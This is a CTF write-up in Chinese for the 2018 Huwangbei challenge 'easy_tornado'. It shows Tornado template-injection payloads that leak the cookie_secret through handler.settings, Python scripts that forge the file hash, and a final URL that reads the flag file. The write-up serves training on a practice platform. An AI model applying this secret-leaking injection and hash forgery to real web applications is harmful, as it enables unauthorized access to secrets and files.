[原题复现]2018护网杯(WEB)easy_tornado

简介

原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli

 考察知识点:[护网杯 2018] WEB easy_tornado

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

[护网杯 2018]easy_tornado

打开页面发现三个链接依次打开  发现各自的文本

[原题复现]2018护网杯(WEB)easy_tornado_第1张图片

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

 

从上面三个信息我们的值flag在/fllllllllllllag文件 render这个卡住了看了WP 说render是模板注入,经过测试发现过滤了

payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={
     {1*2}}

 

[原题复现]2018护网杯(WEB)easy_tornado_第2张图片

 

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

 

然后就是这段代码md5(cookie_secret+md5(filename))  我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 我们得想办法获得cookie_secret 

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

通过模板注入方式我们可以构造

关于如何获取cookie_secret是看WP的目前理解的有点混乱不清晰!!!!

payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={
     {handler.settings}}

 

成功拿到

[原题复现]2018护网杯(WEB)easy_tornado_第3张图片

 

根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密

python3版本

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

 python2.7版本

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    print(md5.hexdigest())
    return md5.hexdigest()
    
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '0567b8eb-21bc-4c25-861f-481b36239643'
    print(cookie_secret + md5(filename))
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()

 

得到加密的结果

[原题复现]2018护网杯(WEB)easy_tornado_第4张图片

filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=1491d6198e0f7d246a15e40bbf00ae43

获得flag

[原题复现]2018护网杯(WEB)easy_tornado_第5张图片

 

 

 参考学习:

  https://blog.csdn.net/ljphilp/article/details/47103745

  https://www.cnblogs.com/chrysanthemum/p/11716903.html

  https://darkwing.moe/2019/10/30/护网杯2018-easy-tornado/

  SSTI完全学习:https://blog.csdn.net/zz_Caleb/article/details/96480967

        https://www.jianshu.com/p/aef2ae0498df

  https://www.cnblogs.com/20175211lyz/p/11425368.html

  

 

 

你可能感兴趣的:([原题复现]2018护网杯(WEB)easy_tornado)